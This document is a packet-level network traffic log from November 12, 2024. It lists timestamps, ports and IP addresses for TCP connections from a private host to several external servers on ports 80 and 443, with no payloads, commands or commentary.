Nov 12, 2024 06:23:11.090244055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:11.090286970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:11.090290070 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:11.090297937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:11.090307951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:11.090311050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:11.090334892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:11.090343952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:11.090490103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:11.090538979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:11.090548992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:11.090558052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:11.090593100 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:11.090864897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:11.090876102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:11.090883970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:11.090914011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:11.090935946 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:12.452517033 CET	49705	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:12.452583075 CET	443	49705	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:12.452665091 CET	49705	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:12.457968950 CET	49705	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:12.457979918 CET	443	49705	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:12.583261013 CET	49709	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:12.583298922 CET	443	49709	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:12.583395004 CET	49709	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:12.583859921 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:12.583882093 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:12.584167957 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:12.634156942 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:12.634169102 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:12.634470940 CET	49709	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:12.634504080 CET	443	49709	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:12.636809111 CET	49711	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:12.636823893 CET	443	49711	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:12.636882067 CET	49711	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:12.637067080 CET	49711	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:12.637077093 CET	443	49711	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.204684973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:13.204770088 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:13.315623045 CET	443	49705	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.315834045 CET	49705	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.315841913 CET	443	49705	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.316797972 CET	443	49705	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.316864967 CET	49705	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.317939043 CET	49705	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.318006039 CET	443	49705	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.318073034 CET	49705	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.318078995 CET	443	49705	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.360794067 CET	49705	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.473840952 CET	443	49711	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.474153042 CET	49711	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.474169016 CET	443	49711	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.475131989 CET	443	49711	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.475218058 CET	49711	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.475511074 CET	49711	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.475565910 CET	443	49711	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.475620985 CET	49711	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.488668919 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.488970041 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.488980055 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.489840984 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.489931107 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.490180016 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.490227938 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.490361929 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.490370035 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.517020941 CET	49711	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.517028093 CET	443	49711	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.521341085 CET	443	49709	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.521512985 CET	49709	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.521521091 CET	443	49709	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.522502899 CET	443	49709	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.522573948 CET	49709	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.522902966 CET	49709	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.522960901 CET	443	49709	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.523030996 CET	49709	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.523036957 CET	443	49709	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.532655001 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.563900948 CET	49711	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.563921928 CET	49709	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.587519884 CET	443	49705	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.587569952 CET	443	49705	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.587605000 CET	443	49705	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.587630987 CET	49705	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.587646961 CET	443	49705	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.587754965 CET	49705	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.587762117 CET	443	49705	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.599275112 CET	49711	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.599327087 CET	443	49711	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.599404097 CET	49711	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.631577015 CET	49705	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.631582022 CET	443	49705	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.631731987 CET	49705	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.631792068 CET	443	49705	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.631851912 CET	49705	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.776401997 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.776462078 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.776509047 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.776529074 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.776540041 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.776618958 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.776623964 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.776844978 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.776940107 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.776945114 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.784815073 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.784877062 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.784885883 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.803801060 CET	443	49709	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.828922033 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.828931093 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.844193935 CET	49709	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.844208956 CET	443	49709	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.845366001 CET	49709	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.845405102 CET	443	49709	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.845465899 CET	49709	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.874806881 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.895150900 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.895241022 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.895332098 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.895340919 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.896219969 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.896351099 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.896358967 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.900398970 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.900504112 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.900511026 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.909192085 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.909271955 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.909280062 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:13.953954935 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:13.954325914 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.000850916 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.013719082 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.013825893 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.013998032 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.014008045 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.015955925 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.016021967 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.016028881 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.018997908 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.019057035 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.019066095 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.032097101 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.032186031 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.032195091 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.072804928 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.073277950 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.073290110 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.125830889 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.132138968 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.132275105 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.132333994 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.132343054 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.134578943 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.134643078 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.134649992 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.137690067 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.137793064 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.137803078 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.150850058 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.150938034 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.150947094 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.191390991 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.191426039 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.191466093 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.191474915 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.191519022 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.252532005 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.253124952 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.253171921 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.253181934 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.256217957 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.256295919 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.256304026 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.269484043 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.269515038 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.269557953 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.269567013 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.269642115 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.309958935 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.310300112 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.310353041 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.310359001 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.353966951 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.354042053 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.354048967 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.369658947 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.369714975 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.369721889 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.371826887 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.371884108 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.371895075 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.375009060 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.375097990 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.375103951 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.388134956 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.388370037 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.388384104 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.428916931 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.429124117 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.429132938 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.470004082 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.472853899 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.488239050 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.488285065 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.488289118 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.488300085 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.488352060 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.490436077 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.493804932 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.493856907 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.493875027 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.493880987 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.493988037 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.506922960 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.548124075 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.548130989 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.548357964 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.548396111 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.548405886 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.564246893 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.564301014 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.564307928 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.591712952 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.591787100 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.591793060 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.607215881 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.607283115 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.607290030 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.609534025 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.609611988 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.609618902 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.612570047 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.612622976 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.612627983 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.625698090 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.625777006 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.625782967 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.667301893 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.667397976 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.667409897 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.710289955 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.710362911 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.710370064 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.726315022 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.726370096 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.726377010 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.728357077 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.728393078 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.728425026 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.728431940 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.728465080 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.728517056 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.728523016 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.728585005 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:14.728632927 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.728653908 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.728934050 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:14.728945017 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:16.627051115 CET	49722	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:16.627094030 CET	443	49722	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:16.627161980 CET	49722	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:16.627460957 CET	49722	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:16.627471924 CET	443	49722	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:17.052258015 CET	49726	443	192.168.2.5	184.28.90.27
Nov 12, 2024 06:23:17.052285910 CET	443	49726	184.28.90.27	192.168.2.5
Nov 12, 2024 06:23:17.052357912 CET	49726	443	192.168.2.5	184.28.90.27
Nov 12, 2024 06:23:17.053154945 CET	49726	443	192.168.2.5	184.28.90.27
Nov 12, 2024 06:23:17.053169012 CET	443	49726	184.28.90.27	192.168.2.5
Nov 12, 2024 06:23:17.178236008 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:17.178261042 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:17.178320885 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:17.178503990 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:17.178512096 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:17.505194902 CET	443	49722	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:17.513989925 CET	49722	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:17.514010906 CET	443	49722	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:17.514899015 CET	443	49722	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:17.514975071 CET	49722	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:17.515443087 CET	49722	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:17.515496969 CET	443	49722	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:17.564428091 CET	49722	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:17.564438105 CET	443	49722	142.250.185.100	192.168.2.5
Nov 12, 2024 06:23:17.610275984 CET	49722	443	192.168.2.5	142.250.185.100
Nov 12, 2024 06:23:17.840035915 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:17.840082884 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:17.840336084 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:17.840966940 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:17.840982914 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:17.893877983 CET	443	49726	184.28.90.27	192.168.2.5
Nov 12, 2024 06:23:17.893942118 CET	49726	443	192.168.2.5	184.28.90.27
Nov 12, 2024 06:23:17.898236990 CET	49726	443	192.168.2.5	184.28.90.27
Nov 12, 2024 06:23:17.898246050 CET	443	49726	184.28.90.27	192.168.2.5
Nov 12, 2024 06:23:17.898475885 CET	443	49726	184.28.90.27	192.168.2.5
Nov 12, 2024 06:23:17.938405991 CET	49726	443	192.168.2.5	184.28.90.27
Nov 12, 2024 06:23:17.986169100 CET	49726	443	192.168.2.5	184.28.90.27
Nov 12, 2024 06:23:18.027329922 CET	443	49726	184.28.90.27	192.168.2.5
Nov 12, 2024 06:23:18.061589003 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.061835051 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.061850071 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.062696934 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.062871933 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.064047098 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.064100027 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.064177990 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.110264063 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.110270977 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.164712906 CET	49732	443	192.168.2.5	216.58.206.46
Nov 12, 2024 06:23:18.164736032 CET	443	49732	216.58.206.46	192.168.2.5
Nov 12, 2024 06:23:18.169842005 CET	49732	443	192.168.2.5	216.58.206.46
Nov 12, 2024 06:23:18.169842005 CET	49732	443	192.168.2.5	216.58.206.46
Nov 12, 2024 06:23:18.169867992 CET	443	49732	216.58.206.46	192.168.2.5
Nov 12, 2024 06:23:18.172588110 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.200464964 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:18.205252886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:18.227828026 CET	443	49726	184.28.90.27	192.168.2.5
Nov 12, 2024 06:23:18.227896929 CET	443	49726	184.28.90.27	192.168.2.5
Nov 12, 2024 06:23:18.228044987 CET	49726	443	192.168.2.5	184.28.90.27
Nov 12, 2024 06:23:18.229031086 CET	49735	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:18.233798981 CET	80	49735	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:18.233926058 CET	49735	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:18.234872103 CET	49726	443	192.168.2.5	184.28.90.27
Nov 12, 2024 06:23:18.234886885 CET	443	49726	184.28.90.27	192.168.2.5
Nov 12, 2024 06:23:18.234916925 CET	49726	443	192.168.2.5	184.28.90.27
Nov 12, 2024 06:23:18.234921932 CET	443	49726	184.28.90.27	192.168.2.5
Nov 12, 2024 06:23:18.235336065 CET	49735	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:18.240087986 CET	80	49735	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:18.287431955 CET	49736	443	192.168.2.5	184.28.90.27
Nov 12, 2024 06:23:18.287466049 CET	443	49736	184.28.90.27	192.168.2.5
Nov 12, 2024 06:23:18.287755966 CET	49736	443	192.168.2.5	184.28.90.27
Nov 12, 2024 06:23:18.287981987 CET	49736	443	192.168.2.5	184.28.90.27
Nov 12, 2024 06:23:18.287990093 CET	443	49736	184.28.90.27	192.168.2.5
Nov 12, 2024 06:23:18.314745903 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.314784050 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.314815998 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.314954996 CET	49729	443	192.168.2.5	142.250.181.238
Nov 12, 2024 06:23:18.314963102 CET	443	49729	142.250.181.238	192.168.2.5
Nov 12, 2024 06:23:18.314992905 CET	443	49729	142.250.181.238	192.168.2.5
